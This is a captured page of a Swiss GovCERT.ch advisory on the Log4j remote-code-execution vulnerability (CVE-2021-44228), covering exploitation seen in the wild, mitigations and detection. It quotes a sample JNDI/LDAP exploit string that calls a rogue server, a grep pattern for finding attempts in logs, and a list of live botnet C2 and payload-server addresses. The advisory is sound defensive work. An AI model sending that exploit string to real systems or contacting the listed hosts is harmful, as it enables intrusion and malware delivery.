www.govcert.ch Open in urlscan Pro
185.16.174.69  Public Scan

Submitted URL: http://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/
Effective URL: https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/
Submission: On December 14 via api from US — Scanned from DE

Form analysis 0 forms found in the DOM

Text Content

 * Home
 * GovCERT.ch Blog
 * Whitepapers
 * Report an Incident
 * Statistics
 * Secondary navigation


ORIENTATION IN THE WEBSITE

 * The Federal Council
   * The federal Council
     * FCh: Federal Chancellery
     * FDFA: Federal Department of Foreign Affairs
     * FDHA: Federal Department of Home Affairs
     * FDJP: Federal Department of Justice and Police
     * DDPS: Federal Department of Defence Civil Protection and Sport
     * FDF: Federal Department of Finance
     * EAER: Federal Department of Economic Affairs, Education and Research
     * DETEC: Federal Department of the Environment, Transport, Energy and
       Communications
 * NCSC
 * GovCERT.ch


LANGUAGE SELECTION

 * EN


SERVICES NAVIGATION

 * Contact
 * Legal Framework


SWISS GOVERNMENT COMPUTER EMERGENCY RESPONSE TEAM


NAVIGATION

 * Blog
 * Whitepapers
 * Report an Incident
 * Statistics




GOVCERT.CH

 * Homepage
 * GovCERT.ch Blog
   * Close
     
     
     BLOG POSTS
     
     Recently published blog posts:
     
      * 12.12.2021Zero-Day Exploit Targeting Popular Java Library Log4j
      * 09.03.2021Exchange Vulnerability 2021
      * 27.10.2020Cyber Security for the Healthcare Sector During Covid19
     
     
     BLOG ARCHIVE
     
     Go to the blog archive and browse all previous blog posts we have published
     so far.
     
     
     RSS FEED
     
     Subscribe to the GovCERT.ch blog RSS feed to stay up to date and get
     notified about new blog posts.
 * Whitepapers
   * Close
     
     
     WHITEPAPERS
     
     Recently published whitepapers:
     
      * 23.09.2019Trickbot - An analysis of data collected from the botnet
      * 03.03.2017Scripting IDA Debugger to Deobfuscate Nymaim
      * 23.05.2016Technical Report about the Malware used in the Cyberespionage
        against RUAG
     
     
     WHITEPAPERS RSS FEED
     
     Subscribe to the whitepapers RSS feed to stay up to date and get notified
     about new whitepapers.
     
     
     
 * Report an Incident
   * Close
     
     
     REPORT AN INCIDENT TO NCSC
     
     Report an incident: incidents[at]govcert{dot}ch
     General inquiries: outreach[at]govcert{dot}ch
     
     
     POINT OF CONTACT FOR CERTS AND CSIRTS
     
     The following email address can be considered as point of contact for FIRST
     members and other CERTs/CSIRTs:
     
     incidents[at]govcert{dot}ch
     
     
     ENCRYPTED EMAIL
     
     GovCERT.ch PGP-Key (preferred)
     Alternative GovCERT.ch PGP Key (for older versions of PGP without
     Curve25519 support)
     GovCERT.ch SMIME
     
     
     
 * Statistics
   * Close


BREADCRUMBS

 1. GovCERT.ch
 2. Blog
 3. Zero day exploit targeting popular java library log4j

Recent Blog Posts
 * Recent Blog Posts
   * Zero-Day Exploit Targeting Popular Java Library Log4j
   * Exchange Vulnerability 2021
   * Cyber Security for the Healthcare Sector During Covid19

Blog Archive by Year
 * Blog Archive by Year
   * 2021
     Back to Blog Archive
      * Zero-Day Exploit Targeting Popular Java Library Log4j
      * Exchange Vulnerability 2021
   
   * 2020
     Back to Blog Archive
      * Cyber Security for the Healthcare Sector During Covid19
      * Security of the Swiss Domain Landscape (ccTLD ch)
      * Phishing Attackers Targeting Webmasters
      * Analysis of an Unusual HawkEye Sample
   
   * 2019
     Back to Blog Archive
      * Trickbot - An analysis of data collected from the botnet
      * Severe Ransomware Attacks Against Swiss SMEs
   
   * 2018
     Back to Blog Archive
      * Reversing Retefe
   
   * 2017
     Back to Blog Archive
      * Leaked Accounts
      * The Retefe Saga
      * Notes About The NotPetya Ransomware
      * WannaCry? It is not worth it!
      * When Gozi Lost its Head
      * Taking a Look at Nymaim
      * The Rise of Dridex and the Role of ESPs
      * Sage 2.0 comes with IP Generation Algorithm (IPGA)
   
   * 2016
     Back to Blog Archive
      * Tofsee Spambot features .ch DGA - Reversal and Countermesaures
      * When Mirai meets Ranbyus
      * SMS spam run targeting Android Users in Switzerland
      * Dridex targeting Swiss Internet Users
      * Technical Report about the RUAG espionage case
      * 20min.ch Malvertising Incident
      * Leaked Mail Accounts
      * Armada Collective is back, extorting Financial Institutions in
        Switzerland
      * Gozi ISFB - When A Bug Really Is A Feature
      * TorrentLocker Ransomware targeting Swiss Internet Users
   
   * 2015
     Back to Blog Archive
      * Ads on popular Search Engine are leading to Phishing Sites
      * Update on Armada Collective extort Swiss Hosting Providers
      * Armada Collective blackmails Swiss Hosting Providers
      * Swiss Advertising network compromised and distributing a Trojan
      * Analysing a new eBanking Trojan called Fobber
      * Cantonal IP space in Switzerland hijacked by Spammers
      * Joining the DNSSEC Day in Germany
      * Outdate WordPress: Thousands of websites in Switzerland are vulnerable
      * Increase in DDoS extortion (DD4BC)
      * e-Banking Trojan Retefe still spreading in Switzerland
      * Critical vulnerability in Magento: Many Swiss websites are still
        vulnerable
   
   * 2014
     Back to Blog Archive
      * Microsoft patches three zero-day vulnerabilities - what does that mean
        to you?
      * Detecting And Mitigating GameOver ZeuS (GOZ)
   
   * Show all posts

RSS Feeds
 * RSS Feeds
   * Blog RSS Feed


ZERO-DAY EXPLOIT TARGETING POPULAR JAVA LIBRARY LOG4J

Published on December 12, 2021 19:20 +0100 by GovCERT.ch (permalink)
Last updated on December 12, 2021 19:20 +0100

On Friday morning, NCSC/GovCERT.ch received reports about a critical
vulnerability in a popular Java library called “Log4j”. At the time of receiving
these reports, the vulnerability apparently has been exploited by threat actors
“in the wild” and no patch was available to fix the vulnerability (0-day
exploit).

Log4j is a popular Java library developed and maintained by the Apache
foundation. The library is widely adopted and used in many commercial and
open-source software products as a logging framework for Java.

The vulnerability (CVE-2021-44228 1) is critical, as it can be exploited from
remote by an unauthenticated adversary to executed arbitrary code (remote code
execution – RCE). The criticality of the vulnerability has a score of 10 (out of
10) in the common vulnerability scoring system (CVSS) which outlines how severe
the vulnerability is.

The vulnerability results from how log messages are being handled by the log4j
processor. If an attacker sends a specially crafted message (it contains a
string like ${jndi:ldap://rogueldapserver.com/a}), this may result in loading an
external code class or message lookup and the execution of that code, leading to
a situation that is known as Remote Code Execution (RCE).



But the vulnerability is also kind of complex: While certain products may be
vulnerable, it doesn’t necessary mean that the vulnerability can be successfully
exploited as this depends on several pre- and postconditions such as the JVM
being used, the actual configuration, etc. Any version of log4j between versions
2.0 and 2.14.1 are affected.

As soon as a patch got released on Friday afternoon, we published an advisory
for national critical infrastructure (KRITIS) advising them to apply the
corresponding patch as soon as possible. As many 3rd party vendors rely on Log4j
in their products, they were working hard on releasing patches for their
products as well. In the past 48h, many vendors have published security patches
for their products. We urge organizations and national critical infrastructure
to check their software landscape for the use of Log4j and apply the
corresponding patches as soon as possible. If patching cannot be done, we
recommend taking any mitigation measure possible in order to avoid further
damage.

Over the weekend, we have been in permanent contact with national and
international partners on the topic, reassessing the situation constantly. We
were continuously collecting threat intelligence from OSINT, partners and our
own sensors which allowed us to deploy appropriate mitigation measures,
protecting vulnerable devices in Switzerland at large scale. On Saturday
evening, we have begun notifying potentially affected organizations in
Switzerland about vulnerable Log4j instances reachable from the internet. Such
notifications were also sent to several national critical infrastructure
(KRITIS).

While the vulnerability may be used in targeted attacks against national
critical infrastructure, we have not received any reports in that regards yet.
The exploitation attempts observed by us so far were used to deploy mass-malware
like Mirai2, Kinsing3 and Tsunami3 (aka Muhstik). The primary use of these
botnets is to launch DDoS attacks (Mirai, Tsunami) or to mine cryptocurrencies
(Kinsing).


RECOMMENDATIONS

 * Get an overview of systems and software using log4j in your environment (this
   can be a time-consuming task, so better start early).
 * Apply the corresponding security patches for internet facing software /
   devices immediately
 * Apply the corresponding security patches for internal software / devices at
   your earliest convenience**
 * If patching is not possible for whatever reason, we strongly recommend
   isolating the system from the Internet and/or to apply the following
   mitigation measures:
   * For version >=2.10: set log4j2.formatMsgNoLookups to true
   * For releases from 2.0 to 2.10.0: you may want to remove the LDAP class from
     log4j completely by issuing the following command: zip -q -d
     log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
   * For certain JVM Versions, it is possible to set
     com.sun.jndi.rmi.object.trustURLCodebase and
     com.sun.jndi.cosnaming.object.trustURLCodebase to false to mitigate the
     vulnerability. Some JVM versions already have this as default setting
 * You may check for exploitation attempts — no matter whether they were
   successful or not — in your web server logs using the following Linux/Unix
   command: sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log/
 * Check your network perimeter logs for the presence of the list of indicators
   of compromise (IOCs) mentioned below:

nazi.uy # Mirai botnet C2
log.exposedbotnets.ru # Tsunami botnet C2
194.59.165.21:8080 # Tsunami botnet C2
195.133.40.15:25565 # Mirai botnet C2
185.154.53.140:80 # Kinsing botnet C2
138.197.206.223:80 # Kinsing payload delivery server
18.228.7.109:80 # Kinsing payload delivery server
82.118.18.201:80 # Kinsing payload delivery server
92.242.40.21:80 # Kinsing payload delivery server
185.191.32.198:80 # Kinsing payload delivery server
80.71.158.12:80 # Kinsing payload delivery server
185.191.32.198:80 # Kinsing payload delivery server
45.137.155.55:80 # Kinsing payload delivery server
185.191.32.198:80 # Kinsing payload delivery server
45.137.155.55:80 # Kinsing payload delivery server
62.210.130.250:80 # Mirai payload delivery server
http://210.141.105.67/wp-content/themes/twentythirteen/m8 # Kinsing payload URL
http://159.89.182.117/wp-content/themes/twentyseventeen/ldm # Kinsing payload URL
45.130.229.168:1389 # Rogue LDAP server
82.118.18.201:1534 # Rogue LDAP server
45.130.229.168:1389 # Rogue LDAP server
185.250.148.157:1389 # Rogue LDAP server
92.242.40.21:5557 # Rogue LDAP server
205.185.115.217:47324 # Rogue LDAP server
163.172.157.143:1389 # Rogue LDAP server
45.155.205.233:12344 # Rogue LDAP server


 * If you use a Snort or Suricata based (or compatible) Network Based IDS, you
   may want to use rules to detect exploitation attempts45.
 * If you have systems that are vulnerable, check them very carefully for any
   sign of exploitation as the scanning is very intense and we believe that
   vulnerable systems got exploited quickly.
 * If you are using a WAF, deploy the log4j specific rules. These exist for many
   commercial solutions such as Cloud Armor6, Cloudflare WAF7, Signal Sciences
   WAF8.

--------------------------------------------------------------------------------

 1. http://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228 ↩︎

 2. https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai ↩︎

 3. https://malpedia.caad.fkie.fraunhofer.de/details/elf.kinsing ↩︎

 4. https://twitter.com/ET_Labs/status/1469339963871354884 ↩︎

 5. https://rules.emergingthreatspro.com/open/ ↩︎

 6. https://cloud.google.com/blog/products/identity-security/cloud-armor-waf-rule-to-help-address-apache-log4j-vulnerability
    ↩︎

 7. https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/ ↩︎

 8. https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j
    ↩︎

Back to top


FOOTER

--------------------------------------------------------------------------------

Social media links
 * Twitter

Swiss Government Computer Emergency Response Team (GovCERT.ch)
 * Legal Framework